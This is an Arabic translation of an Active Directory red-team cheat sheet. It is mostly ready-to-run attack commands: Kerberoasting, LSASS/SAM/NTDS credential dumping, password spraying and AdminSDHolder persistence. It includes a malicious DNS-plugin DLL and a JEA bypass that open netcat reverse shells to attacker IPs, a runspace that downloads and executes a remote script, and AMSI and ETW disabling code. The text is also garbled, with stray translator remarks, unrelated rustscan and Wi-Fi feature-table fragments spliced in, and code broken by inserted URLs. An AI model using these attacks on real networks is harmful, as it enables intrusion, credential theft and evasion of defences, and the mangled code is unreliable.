
مرجع سريع للفريق الأحمر في توسع مستمر.

يمكنك دعمي هنا 🐱 :
هذه الورقة الغش لهجمات AD، من إعداد RistBS مستوحاة من مستودع Active-Directory-Exploitation-Cheat-Sheet.
أدوات باورشيل :
[⭐] Nishang -> https://github.com/samratashok/nishangيحتوي nishang على العديد من البرامج النصية المفيدة لاختبار الاختراق في بيئة باورشيل.
powerview هو برنامج نصي من powersploit يسمح باكتشاف بنية AD للتحرك الجانبي المحتمل.
أدوات الاستكشاف :
[⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound[⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExeمجموعة أدوات استغلال AD :
[⭐] Impacket -> https://github.com/SecureAuthCorp/impacket[⭐] kekeo -> https://github.com/gentilkiwi/kekeoأدوات التفريغ :
[⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz[⭐] rubeus -> https://github.com/GhostPack/Rubeusأداة الاستماع :
[⭐] responder -> https://github.com/SpiderLabs/ResponderPS-Session :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100
$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100
### إساءة استخدام PSWA
يسمح لأي شخص لديه بيانات اعتماد بالاتصال بأي جهاز وأي تكوين
**[ ! ] يتطلب هذا الإجراء بيانات اعتماد.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *
باستخدام PowerView :```powershell Get-NetUser –SPN
> استخدام [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
MapTrust :```powershell Invoke-MapDomainTrust
**علاقات الثقة بالمجال للمجال الحالي :**
> باستخدام [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain
باستخدام AD Module :```powershell Get-ADTrust Get-ADTrust –Identity $domain
### تعداد الغابة
**تفاصيل عن الغابة الحالية :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain
قائمة GPO```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html
### تعداد ACL و ACE
**تعداد جميع ACEs**```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
*تحقق مما إذا كان المستخدم لديه SPN بالفعل :*
> باستخدام [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname
استخدام AD Module :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
### تعداد LDAP```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"
البحث عن حسابات الخدمة```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"
*التعداد باستخدام ldapsearch كمستخدم مصادق*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'
التعداد باستخدام ldapdomaindump (مصادق عليه) مع مخرجات منسقة``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep
*التعداد باستخدام nmap scripts*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100
استكشاف باستخدام crackmapexec كغير مصادق```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''
*التعداد باستخدام crackmapexec (مصادق عليه)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess
التعداد باستخدام kerbrute، ضد Kerberos pre-auth bruteforcing:```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade
> بشكل افتراضي، يستخدم kerbrute الوضع الأكثر أمانًا (18 = sha1) لسحب بعض التجزئة. باستخدام خيار التخفيض، يمكننا سحب نسخة نوع التشفير القديمة (23 = rc4hmac). أو استخدم getNPusers للحصول على بعض التجزئة بدلاً من ذلك، إنه أكثر أمانًا!
*قدم كلمة مرور أو قائمة من كلمات المرور لاختبارها ضد المستخدمين*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list
تعداد بعض المستخدمين```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt
### هجوم رش كلمات المرور على المجال```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'
تفريغ المجال والمجموعات والمستخدمين باستخدام Bloodhound-Python:```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30
إعداد Bloodhound:```bash
sudo neo4j console
sudo bloodhound
بنية عالمية :``` S-1-5-21-40646273370-24341400410-2375368561-1036
- `S-1-5-21`: **يشير S إلى SID (معرف الأمان)**
- `40646273370-24341400410-2375368561`: **معرف المجال أو الكمبيوتر المحلي**
- `1036`: **RID (المعرف النسبي)**
*هيكل SID للمستخدم:*
- `S-1-5-21-40646273370-24341400410-2375368561`: **SID المجال**
- `1036`: **RID المستخدم**
> باستخدام [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec):```bash
cme smb $target -u $username -p $password --rid-brute
باستخدام lookupsid :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000
القيمة "20000" في lookupsid تشير إلى عدد RID الذي سيتم اختباره
## Privilege Escalation
### Token Impersonation
> تتيح تقنية Impersonation token انتحال مستخدم عن طريق سرقة رمزه المميز، هذا الرمز يسمح باستغلال هذه التقنية بسبب عمليات SSO، وتسجيل الدخول التفاعلي، والعمليات الجارية...
> باستخدام [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
*سرد tokens*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate
ابدأ عملية جديدة باستخدام رمز مستخدم```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"
*التلاعب برمز العملية*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id
باستخدام Incognito :
*تحميل incognito وسرد الرموز :```bash meterpreter > use incognito meterpreter > list_tokens -g
*رمز انتحال لـ "NT AUTHORITY\SYSTEM":*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
تعداد المستخدمين القابلين لـ Kerberoast```powershell Get-DomainUser -SPN | select name,serviceprincipalname
> باستخدام [impacket](https://github.com/SecureAuthCorp/impacket) :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'
استخدام crackmapexec```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc
*كسر الهاش :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force
استعراض المستخدم asreproastable```powershell Get-DomainUser -PreauthNotRequired | select name
الرجاء ملاحظة أن هذا هو الإخراج المطلوب تحتوي على النص المترجم فقط، ولا يجب إضافة أي شيء إضافي.```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request
كسر الهاش :
hashcat -m 18200 -a 0 hash wordlist.txt --force
تعداد المستخدمين في هذه المجموعة :```powershell
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
*يتكون هذا الهجوم من حقن DLL خبيث عشوائي وإعادة تشغيل خدمة dns.exe،
وبما أن DC يعمل كخدمة DNS، يمكننا رفع صلاحياتنا إلى DA.*
> DLL File :```c
#include "stdafx.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
يمكنك أيضًا إنشاء ملف dll باستخدام msfvenom : msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' -f dll > evil.dll
سيقوم بتنفيذ net user administrator aked /domain بصلاحيات SYSTEM
قم بتعيين مسار DLL البعيد في سجل Windows```powershell dnscmd dc01 /config /serverlevelplugindll \10.10.14.33\share\evil.dll
`\\10.10.14.33\share\evil.dll` : مشاركة SMB.
**إعادة تشغيل خدمة DNS**```powershell
sc.exe stop dns
sc.exe start dns
يستخدم مصادقة Kerberos```powershell impacket-wmiexec -k -no-pass [email protected]
## تفريغ بيانات الاعتماد
### تفريغ LSASS```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy
يرجى توفير محتوى الماركدون المراد ترجمته.```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe
docker pull rustscan/rustscan:latest
docker run -it --rm --name rustscan rustscan/rustscan:latest -a 192.168.0.1
docker run -it --rm --name rustscan rustscan/rustscan:latest --top -a rustscan.example.com
استغلال DRSUAPI لتفريغ NTDS```powershell crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi
**إساءة استخدام VSS لتفريغ NTDS**
> باستخدام [Crackmapexec]() :```powershell
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
يمكنك القيام بذلك يدويًا أيضًا.```powershell vssadmin create shadow /for=C: copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save vssadmin delete shadows /shadow=$ShadowCopyId
### إساءة استخدام DPAPI
> dump DPAPI BK```bash
dpapi.py backupkeys -t $domain/$user:$password@$target
فك تشفير DPAPI MK```bash
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password
> فك تشفير ملف محمي باستخدام MK```bash
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY
اختراق مفتاح DPAPI الرئيسي باستخدام JTR```bash python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local" john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule
### تفريغ LSA
**يمكنك استخدام mimikatz مع هذا الأمر: `lsadump::secrets`**
### تفريغ SAM
*احفظ SYSTEM hive و SAM في دليل آخر*```powershell
reg save HKLM\SAM c:\path\to\SAM
reg save HKLM\SYSTEM c:\path\to\SYSTEM
--- لا يوجد نص للترجمة في هذا المقطع. ---```powershell lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM
أو استخدم فقط : `lsadump::sam`
**[ 📝 ] ملاحظات** : *يمكنك تفريغ SAM و LSA باستخدام crackmapexec **أو** secretdump باستخدام هذه الأوامر :*```bash
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa
[ ❓ ] ما هو السجل (Registry)؟ : السجل مقسم إلى عدة أقسام تُسمى الخلايا (hives). خلية السجل هي مفتاح سجل من المستوى الأعلى محدد مسبقًا بواسطة نظام ويندوز لتخزين مفاتيح السجل لأهداف محددة. لكل خلية سجل أهداف محددة، هناك 6 خلايا سجل: HKCU و HKLM و HKCR و HKU و HKCC و HKPD . أكثر خلايا السجل إثارة للاهتمام في اختبار الاختراق هي HKU و HKLM.
HKEY_LOCAL_MACHINE التي تُسمى HKLM تتضمن ثلاثة مفاتيح: SAM و SYSTEM و SECURITY.
تفريغ SYSTEM و SECURITY عن بعد من HKLM:```bash secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes
> تفريغ سجل HKU عن بُعد باستخدام وسيط hashes :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
$user = 'USER' $gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword
*gMSA تفريغ:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## كسر التجزئة
> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
ملاحظة: بعض أنواع التجزئة في hashcat تعتمد على **etype**
## تجربة كلمات مرور AD بالقوة الغاشمة
### قائمة كلمات مرور ومستخدمين مخصصة
قائمة كلمات المرور الافتراضية (pwd_list):
`
Autumn
Spring
Winter
Summer
`
إنشاء كلمات مرور باستخدام bash و hashcat:```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
قائمة أسماء المستخدمين الافتراضية (users.list) :```
john doe
paul smith
jacaques miller
```
إنشاء أسماء مستخدمين مخصصة باستخدام username-anarchy :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## التنقل الجانبي
**التنقل باستخدام WDFW عبر قواعد مخصصة**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*السماح بالاتصالات بـ localport*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### أنابيب SMB
**يمكن إعادة توجيه المنافذ المحلية/البعيدة** باستخدام **أنابيب SMB**. يمكنك استخدام [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) أو [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) لذلك.
- `Invoke-Piper` : *مستخدم لإعادة توجيه المنافذ المحلية أو البعيدة*
- `Invoke-SocksProxy` : *مستخدم لإعادة توجيه المنافذ الديناميكية*
**الحالة 1** *إعادة توجيه المنفذ المحلي عبر الأنبوب لـ Pivot: `-L 33389:127.0.0.1:3389`*
> جانب الخادم :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> جهة العميل :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**الحالة 2** *إعادة توجيه المنفذ البعيد للمسؤول فقط عبر الأنبوب لـforPivot: `-R 33389:127.0.0.1:3389`*
> جانب الخادم :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> جانب العميل :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**الحالة 3** *إعادة توجيه المنفذ الديناميكي باستخدام Invoke-SocksProxy مع forPivot كـ NamedPipe: `-D 3333`*
> جانب الخادم:```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> جانب العميل :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks
**يُستخدم SharpSocks بشكل رئيسي في أطر C2 ويعمل مع أدوات التثبيت C2**
*بناء خادم:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### نفق RDP عبر DVC
*مشاركة الأقراص:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*تعيين محركات الأقراص:*```powershell
PS > net use x: \\TSCLIENT\X
```
إنشاء خادم باستخدام SSFD.exe```powershell
PS > ssfd.exe -p 8080
```
*إعادة توجيه منفذ SSF مع خادم DVC:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1
[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD كـ وكيل SOCK*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## الثبات
### SIDHistory Injection
### AdminSDHolder and SDProp
> [ ❓ ] : مع امتيازات مسؤول المجال (التحكم الكامل/أذونات الكتابة\) على كائن AdminSDHolder، يمكن استخدامه كآلية خلفية/ثبات عن طريق إضافة مستخدم بأذونات كاملة (أو أذونات أخرى مثيرة للاهتمام\) إلى كائن AdminSDHolder.
في غضون 60 دقيقة (عند تشغيل SDPROP\)، سيتم إضافة المستخدم مع تحكم كامل إلى قائمة التحكم بالوصول لمجموعات مثل Domain Admins دون أن يكون عضوًا فيها فعليًا.
> باستخدام [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> استخدام [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*تشغيل SDProp يدويًا*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## ACLs and ACEs Abusing
### GenericAll
**سرد جميع المجموعات التي ينتمي إليها المستخدم والتي لديه حقوق وصول صريحة إليها**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
| الميزة | الحالة | التفاصيل | الملاحظات |
|---|---|---|---|
| [**خادم HTTP مدمج**](#built-in-http-server) | ✅ يعمل | خادم ويب داخلي لاستضافة البوابة المقيدة. | مطلوب للبوابة المقيدة، مزيد من المعلومات [هنا](#built-in-http-server). |
| [**خادم DHCP مدمج**](#built-in-dhcp-server) | ✅ يعمل | خادم DHCP لإعادة توجيه العملاء إلى البوابة المقيدة. | مزيد من التفاصيل [هنا](#built-in-dhcp-server).<sup>[3](https://github.com/Trackbool/DerDeath) |
| لوحة التحكم Chart.js | ❌ ليس بعد | رسم بياني لمراقبة النطاق الترددي في الوقت الفعلي على واجهة الويب. | يعرض حركة تحميل/تنزيل العميل في الثانية. |
| **التقاط المصافحة** (.pcap) | ✅ يعمل | مراقبة والتقاط مصافحات WPA. | مطلوب لكسر كلمات مرور Wi-Fi. |
| **تحويل مصافحة WPA** (Hashcat `.hc22000`) | ✅ يعمل | تحويل ملفات `.pcap` الملتقطة إلى صيغة Hashcat. | المخرج هو ملف `.hc22000`. |```powershell
net group Administrator aker /add /domain
```
## تجاوز الأمان المحسّن
### AntiMalware Scan Interface```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
تصحيح AMSI من Powershell6 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode
تجاوز CLM باستخدام **runspace**:```cs
static void Main(string[] args){
Runspace run = RunspaceFactory.CreateRunspace();
run.Open();
PowerShell shell = PowerShell.Create();
shell.Runspace = run;
String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
shell.AddScript(cmd);
shell.Invoke();
run.Close();
}
```
### الإدارة الكافية فقط
> عرض مستوى اللغات الحالي :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> تجاوز JEA في ConstrainedLanguage :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> تجاوز EP باستخدام الترميز :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL لتفريغ بيانات الاعتماد
[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) هي **حماية إضافية لـ LSA** لمنع قراءة الذاكرة وحقن الكود بواسطة **العمليات غير المحمية**.
> تجاوز RunAsPPL باستخدام mimikatz :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### ETW تعطيل```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
يمكنك تجربة تقنيات الإخفاء على هذا الأمر. لمعرفة المزيد عن ETW، راجع دورتي [هنا](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)
## MS Exchange
### رش كلمات المرور عبر OWA وEWS وEAS
> باستخدام [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> باستخدام [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### استخراج GAL و OAB
**استخراج GAL (دفتر العناوين العالمي)**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> باستخدام powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**استخراج OAB (دفتر العناوين غير المتصل)**
*استخراج ملف OAB.XML الذي يحتوي على السجلات*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml
cat oab.xml |grep '.lzx' |grep data
```
*استخراج ملف مضغوط LZX*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx
./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> باستخدام [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange
**[PrivExchange](https://github.com/dirkjanm/PrivExchange) يستخدم ميزة PushSubscription، حيث يستطيع المستخدم التقاط بيانات المصادقة NTLM الخاصة بخادم Exchange باستدعاء بسيط لواجهة برمجة التطبيقات "PushSubscription"**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon
**[ProxyLogon](https://github.com/hausec/ProxyLogon) هو الاسم المعطى لـ CVE-2021-26855 الذي يسمح للمهاجم بتجاوز المصادقة وانتحال شخصية المستخدمين على خوادم MS Exchange.**```bash
python proxylogon.py $ip user@fqdn
```
> باستخدام metasploit:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688
هذه الثغرة CVE تسمح بتنفيذ الأوامر عن بُعد على EWS عبر مفاتيح تشفير ثابتة
*الحصول على القيم لـ RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
